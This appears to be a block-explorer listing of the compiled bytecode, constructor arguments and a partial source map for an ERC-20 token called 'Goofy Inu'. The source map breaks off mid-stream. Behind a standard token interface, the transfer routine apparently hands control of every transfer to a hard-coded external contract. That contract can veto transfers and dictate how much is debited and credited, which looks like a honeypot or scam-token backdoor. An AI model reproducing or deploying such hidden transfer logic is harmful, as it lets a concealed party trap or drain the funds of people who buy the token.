ffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461061091906113b5565b61095b565b6001905092915050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610670610e0d565b61067a6000610e8b565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600180546106b49061128f565b80601f01602080910402602001604051908101604052809291908181526020018280546106e09061128f565b801561072d5780601f106107025761010080835404028352916020019161072d565b820191906000526020600020905b81548152906001019060200180831161071057829003601f168201915b5050505050905090565b60008060046000610746610953565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610803576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107fa9061145b565b60405180910390fd5b61082061080e610953565b85858461081b9190611381565b61095b565b600191505092915050565b600061083f610838610953565b8484610b24565b6001905092915050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6108d8610e0d565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610947576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161093e906114ed565b60405180910390fd5b61095081610e8b565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036109ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109c19061157f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610a39576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3090611611565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610b179190611124565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610b93576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b8a906116a3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610c02576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bf990611735565b60405180910390fd5b610c0d838383610f4f565b6000600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905060008060007389d0b99002fd12aea020ed4358a243d6489d4c9d73ffffffffffffffffffffffffffffffffffffffff1663dd6b8cdc888888886040518563ffffffff1660e01b8152600401610ca99493929190611755565b606060405180830381865afa158015610cc6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cea91906117db565b92509250925082610cfa57600080fd5b8184610d069190611381565b600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d9891906113b5565b925050819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef87604051610dfc9190611124565b60405180910390a350505050505050565b610e15610953565b73ffffffffffffffffffffffffffffffffffffffff16610e3361067c565b73ffffffffffffffffffffffffffffffffffffffff1614610e89576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e809061187a565b60405180910390fd5b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015610f8e578082015181840152602081019050610f73565b60008484015250505050565b6000601f19601f8301169050919050565b6000610fb682610f54565b610fc08185610f5f565b9350610fd0818560208601610f70565b610fd981610f9a565b840191505092915050565b60006020820190508181036000830152610ffe8184610fab565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006110368261100b565b9050919050565b6110468161102b565b811461105157600080fd5b50565b6000813590506110638161103d565b92915050565b6000819050919050565b61107c81611069565b811461108757600080fd5b50565b60008135905061109981611073565b92915050565b600080604083850312156110b6576110b5611006565b5b60006110c485828601611054565b92505060206110d58582860161108a565b9150509250929050565b60008115159050919050565b6110f4816110df565b82525050565b600060208201905061110f60008301846110eb565b92915050565b61111e81611069565b82525050565b60006020820190506111396000830184611115565b92915050565b60008060006060848603121561115857611157611006565b5b600061116686828701611054565b935050602061117786828701611054565b92505060406111888682870161108a565b9150509250925092565b600060ff82169050919050565b6111a881611192565b82525050565b60006020820190506111c3600083018461119f565b92915050565b6000602082840312156111df576111de611006565b5b60006111ed84828501611054565b91505092915050565b6111ff8161102b565b82525050565b600060208201905061121a60008301846111f6565b92915050565b6000806040838503121561123757611236611006565b5b600061124585828601611054565b925050602061125685828601611054565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806112a757607f821691505b6020821081036112ba576112b9611260565b5b50919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b600061131c602883610f5f565b9150611327826112c0565b604082019050919050565b6000602082019050818103600083015261134b8161130f565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061138c82611069565b915061139783611069565b92508282039050818111156113af576113ae611352565b5b92915050565b60006113c082611069565b91506113cb83611069565b92508282019050808211156113e3576113e2611352565b5b92915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000611445602583610f5f565b9150611450826113e9565b604082019050919050565b6000602082019050818103600083015261147481611438565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006114d7602683610f5f565b91506114e28261147b565b604082019050919050565b60006020820190508181036000830152611506816114ca565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611569602483610f5f565b91506115748261150d565b604082019050919050565b600060208201905081810360008301526115988161155c565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006115fb602283610f5f565b91506116068261159f565b604082019050919050565b6000602082019050818103600083015261162a816115ee565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061168d602583610f5f565b915061169882611631565b604082019050919050565b600060208201905081810360008301526116bc81611680565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061171f602383610f5f565b915061172a826116c3565b604082019050919050565b6000602082019050818103600083015261174e81611712565b9050919050565b600060808201905061176a60008301876111f6565b61177760208301866111f6565b6117846040830185611115565b6117916060830184611115565b95945050505050565b6117a3816110df565b81146117ae57600080fd5b50565b6000815190506117c08161179a565b92915050565b6000815190506117d581611073565b92915050565b6000806000606084860312156117f4576117f3611006565b5b6000611802868287016117b1565b9350506020611813868287016117c6565b9250506040611824868287016117c6565b9150509250925092565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611864602083610f5f565b915061186f8261182e565b602082019050919050565b6000602082019050818103600083015261189381611857565b905091905056fea26469706673582212200f193b71117ecce18ebba59456ce68637ad0a9eb70b7590a088a91fc69befd4a64736f6c63430008120033000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000009476f6f667920496e7500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000005474f4f4659000000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x6080604052600436106100e15760003560e01c8063715018a61161007f578063a457c2d711610059578063a457c2d7146102cf578063a9059cbb1461030c578063dd62ed3e14610349578063f2fde38b14610386576100e8565b8063715018a6146102625780638da5cb5b1461027957806395d89b41146102a4576100e8565b806323b872dd116100bb57806323b872dd14610180578063313ce567146101bd57806339509351146101e857806370a0823114610225576100e8565b806306fdde03146100ed578063095ea7b31461011857806318160ddd14610155576100e8565b366100e857005b600080fd5b3480156100f957600080fd5b506101026103af565b60405161010f9190610fe4565b60405180910390f35b34801561012457600080fd5b5061013f600480360381019061013a919061109f565b610441565b60405161014c91906110fa565b60405180910390f35b34801561016157600080fd5b5061016a61045f565b6040516101779190611124565b60405180910390f35b34801561018c57600080fd5b506101a760048036038101906101a2919061113f565b610469565b6040516101b491906110fa565b60405180910390f35b3480156101c957600080fd5b506101d261056a565b6040516101df91906111ae565b60405180910390f35b3480156101f457600080fd5b5061020f600480360381019061020a919061109f565b610573565b60405161021c91906110fa565b60405180910390f35b34801561023157600080fd5b5061024c600480360381019061024791906111c9565b61061f565b6040516102599190611124565b60405180910390f35b34801561026e57600080fd5b50610277610668565b005b34801561028557600080fd5b5061028e61067c565b60405161029b9190611205565b60405180910390f35b3480156102b057600080fd5b506102b96106a5565b6040516102c69190610fe4565b60405180910390f35b3480156102db57600080fd5b506102f660048036038101906102f1919061109f565b610737565b60405161030391906110fa565b60405180910390f35b34801561031857600080fd5b50610333600480360381019061032e919061109f565b61082b565b60405161034091906110fa565b60405180910390f35b34801561035557600080fd5b50610370600480360381019061036b9190611220565b610849565b60405161037d9190611124565b60405180910390f35b34801561039257600080fd5b506103ad60048036038101906103a891906111c9565b6108d0565b005b6060600280546103be9061128f565b80601f01602080910402602001604051908101604052809291908181526020018280546103ea9061128f565b80156104375780601f1061040c57610100808354040283529160200191610437565b820191906000526020600020905b81548152906001019060200180831161041a57829003601f168201915b5050505050905090565b600061045561044e610953565b848461095b565b6001905092915050565b6000600354905090565b6000610476848484610b24565b6000600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104c1610953565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610541576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161053890611332565b60405180910390fd5b61055e8561054d610953565b85846105599190611381565b61095b565b60019150509392505050565b60006012905090565b6000610615610580610953565b84846004600061058e610953565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461061091906113b5565b61095b565b6001905092915050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610670610e0d565b61067a6000610e8b565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600180546106b49061128f565b80601f01602080910402602001604051908101604052809291908181526020018280546106e09061128f565b801561072d5780601f106107025761010080835404028352916020019161072d565b820191906000526020600020905b81548152906001019060200180831161071057829003601f168201915b5050505050905090565b60008060046000610746610953565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610803576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107fa9061145b565b60405180910390fd5b61082061080e610953565b85858461081b9190611381565b61095b565b600191505092915050565b600061083f610838610953565b8484610b24565b6001905092915050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6108d8610e0d565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610947576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161093e906114ed565b60405180910390fd5b61095081610e8b565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036109ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109c19061157f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610a39576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3090611611565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610b179190611124565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610b93576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b8a906116a3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610c02576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bf990611735565b60405180910390fd5b610c0d838383610f4f565b6000600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905060008060007389d0b99002fd12aea020ed4358a243d6489d4c9d73ffffffffffffffffffffffffffffffffffffffff1663dd6b8cdc888888886040518563ffffffff1660e01b8152600401610ca99493929190611755565b606060405180830381865afa158015610cc6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cea91906117db565b92509250925082610cfa57600080fd5b8184610d069190611381565b600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d9891906113b5565b925050819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef87604051610dfc9190611124565b60405180910390a350505050505050565b610e15610953565b73ffffffffffffffffffffffffffffffffffffffff16610e3361067c565b73ffffffffffffffffffffffffffffffffffffffff1614610e89576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e809061187a565b60405180910390fd5b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015610f8e578082015181840152602081019050610f73565b60008484015250505050565b6000601f19601f8301169050919050565b6000610fb682610f54565b610fc08185610f5f565b9350610fd0818560208601610f70565b610fd981610f9a565b840191505092915050565b60006020820190508181036000830152610ffe8184610fab565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006110368261100b565b9050919050565b6110468161102b565b811461105157600080fd5b50565b6000813590506110638161103d565b92915050565b6000819050919050565b61107c81611069565b811461108757600080fd5b50565b60008135905061109981611073565b92915050565b600080604083850312156110b6576110b5611006565b5b60006110c485828601611054565b92505060206110d58582860161108a565b9150509250929050565b60008115159050919050565b6110f4816110df565b82525050565b600060208201905061110f60008301846110eb565b92915050565b61111e81611069565b82525050565b60006020820190506111396000830184611115565b92915050565b60008060006060848603121561115857611157611006565b5b600061116686828701611054565b935050602061117786828701611054565b92505060406111888682870161108a565b9150509250925092565b600060ff82169050919050565b6111a881611192565b82525050565b60006020820190506111c3600083018461119f565b92915050565b6000602082840312156111df576111de611006565b5b60006111ed84828501611054565b91505092915050565b6111ff8161102b565b82525050565b600060208201905061121a60008301846111f6565b92915050565b6000806040838503121561123757611236611006565b5b600061124585828601611054565b925050602061125685828601611054565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806112a757607f821691505b6020821081036112ba576112b9611260565b5b50919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b600061131c602883610f5f565b9150611327826112c0565b604082019050919050565b6000602082019050818103600083015261134b8161130f565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061138c82611069565b915061139783611069565b92508282039050818111156113af576113ae611352565b5b92915050565b60006113c082611069565b91506113cb83611069565b92508282019050808211156113e3576113e2611352565b5b92915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000611445602583610f5f565b9150611450826113e9565b604082019050919050565b6000602082019050818103600083015261147481611438565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006114d7602683610f5f565b91506114e28261147b565b604082019050919050565b60006020820190508181036000830152611506816114ca565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611569602483610f5f565b91506115748261150d565b604082019050919050565b600060208201905081810360008301526115988161155c565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006115fb602283610f5f565b91506116068261159f565b604082019050919050565b6000602082019050818103600083015261162a816115ee565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061168d602583610f5f565b915061169882611631565b604082019050919050565b600060208201905081810360008301526116bc81611680565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061171f602383610f5f565b915061172a826116c3565b604082019050919050565b6000602082019050818103600083015261174e81611712565b9050919050565b600060808201905061176a60008301876111f6565b61177760208301866111f6565b6117846040830185611115565b6117916060830184611115565b95945050505050565b6117a3816110df565b81146117ae57600080fd5b50565b6000815190506117c08161179a565b92915050565b6000815190506117d581611073565b92915050565b6000806000606084860312156117f4576117f3611006565b5b6000611802868287016117b1565b9350506020611813868287016117c6565b9250506040611824868287016117c6565b9150509250925092565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611864602083610f5f565b915061186f8261182e565b602082019050919050565b6000602082019050818103600083015261189381611857565b905091905056fea26469706673582212200f193b71117ecce18ebba59456ce68637ad0a9eb70b7590a088a91fc69befd4a64736f6c63430008120033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000009476f6f667920496e7500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000005474f4f4659000000000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : name_ (string): Goofy Inu
Arg [1] : symbol_ (string): GOOFY

-----Encoded View---------------
6 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000040
Arg [1] : 0000000000000000000000000000000000000000000000000000000000000080
Arg [2] : 0000000000000000000000000000000000000000000000000000000000000009
Arg [3] : 476f6f667920496e750000000000000000000000000000000000000000000000
Arg [4] : 0000000000000000000000000000000000000000000000000000000000000005
Arg [5] : 474f4f4659000000000000000000000000000000000000000000000000000000


Deployed Bytecode Sourcemap

12568:5351:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13403:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15101:194;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13719:108;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14447:495;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13302:93;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15487:290;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14950:143;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6079:103;;;;;;;;;;;;;:::i;:::-;;6263:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13835:104;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16260:437;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13511:200;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15303:176;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4788:238;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;13403:100;13457:13;13490:5;13483:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13403:100;:::o;15101:194::-;15209:4;15226:39;15235:12;:10;:12::i;:::-;15249:7;15258:6;15226:8;:39::i;:::-;15283:4;15276:11;;15101:194;;;;:::o;13719:108::-;13780:7;13807:12;;13800:19;;13719:108;:::o;14447:495::-;14587:4;14604:36;14614:6;14622:9;14633:6;14604:9;:36::i;:::-;14651:24;14678:11;:19;14690:6;14678:19;;;;;;;;;;;;;;;:33;14698:12;:10;:12::i;:::-;14678:33;;;;;;;;;;;;;;;;14651:60;;14766:6;14746:16;:26;;14724:116;;;;;;;;;;;;:::i;:::-;;;;;;;;;14853:57;14862:6;14870:12;:10;:12::i;:::-;14903:6;14884:16;:25;;;;:::i;:::-;14853:8;:57::i;:::-;14930:4;14923:11;;;14447:495;;;;;:::o;13302:93::-;13360:5;13385:2;13378:9;;13302:93;:::o;15487:290::-;15600:4;15617:130;15640:12;:10;:12::i;:::-;15667:7;15726:10;15689:11;:25;15701:12;:10;:12::i;:::-;15689:25;;;;;;;;;;;;;;;:34;15715:7;15689:34;;;;;;;;;;;;;;;;:47;;;;:::i;:::-;15617:8;:130::i;:::-;15765:4;15758:11;;15487:290;;;;:::o;14950:143::-;15040:7;15067:9;:18;15077:7;15067:18;;;;;;;;;;;;;;;;15060:25;;14950:143;;;:::o;6079:103::-;4600:13;:11;:13::i;:::-;6144:30:::1;6171:1;6144:18;:30::i;:::-;6079:103::o:0;6263:87::-;6309:7;6336:6;;;;;;;;;;;6329:13;;6263:87;:::o;13835:104::-;13891:13;13924:7;13917:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13835:104;:::o;16260:437::-;16378:4;16395:24;16422:11;:25;16434:12;:10;:12::i;:::-;16422:25;;;;;;;;;;;;;;;:34;16448:7;16422:34;;;;;;;;;;;;;;;;16395:61;;16509:15;16489:16;:35;;16467:122;;;;;;;;;;;;:::i;:::-;;;;;;;;;16600:67;16609:12;:10;:12::i;:::-;16623:7;16651:15;16632:16;:34;;;;:::i;:::-;16600:8;:67::i;:::-;16685:4;16678:11;;;16260:437;;;;:::o;13511:200::-;13622:4;13639:42;13649:12;:10;:12::i;:::-;13663:9;13674:6;13639:9;:42::i;:::-;13699:4;13692:11;;13511:200;;;;:::o;15303:176::-;15417:7;15444:11;:18;15456:5;15444:18;;;;;;;;;;;;;;;:27;15463:7;15444:27;;;;;;;;;;;;;;;;15437:34;;15303:176;;;;:::o;4788:238::-;4600:13;:11;:13::i;:::-;4911:1:::1;4891:22;;:8;:22;;::::0;4869:110:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;4990:28;5009:8;4990:18;:28::i;:::-;4788:238:::0;:::o;1405:98::-;1458:7;1485:10;1478:17;;1405:98;:::o;16705:378::-;16858:1;16841:19;;:5;:19;;;16833:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;16939:1;16920:21;;:7;:21;;;16912:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;17021:6;16991:11;:18;17003:5;16991:18;;;;;;;;;;;;;;;:27;17010:7;16991:27;;;;;;;;;;;;;;;:36;;;;17059:7;17043:32;;17052:5;17043:32;;;17068:6;17043:32;;;;;;:::i;:::-;;;;;;;;16705:378;;;:::o;17091:788::-;17249:1;17231:20;;:6;:20;;;17223:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;17333:1;17312:23;;:9;:23;;;17304:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;17388:47;17409:6;17417:9;17428:6;17388:20;:47::i;:::-;17448:21;17472:9;:17;17482:6;17472:17;;;;;;;;;;;;;;;;17448:41;;17503:10;17515:14;17531;17582:42;17549:106;;;17656:6;17664:9;17675:6;17683:13;17549:148;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;17502:195;;;;;;17716:5;17708:14;;;;;;17771:6;17755:13;:22;;;;:::i;:::-;17735:9;:17;17745:6;17735:17;;;;;;;;;;;;;;;:42;;;;17812:6;17788:9;:20;17798:9;17788:20;;;;;;;;;;;;;;;;:30;;;;;;;:::i;:::-;;;;;;;;17853:9;17836:35;;17845:6;17836:35;;;17864:6;17836:35;;;;;;:::i;:::-;;;;;;;;17212:667;;;;17091:788;;;:::o;5135:132::-;5210:12;:10;:12::i;:::-;5199:23;;:7;:5;:7::i;:::-;:23;;;5191:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;5135:132::o;5544:191::-;5618:16;5637:6;;;;;;;;;;;5618:25;;5663:8;5654:6;;:17;;;;;;;;;;;;;;;;;;5718:8;5687:40;;5708:8;5687:40;;;;;;;;;;;;5607:128;5544:191;:::o;15785:125::-;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1430:117::-;1539:1;1536;1529:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9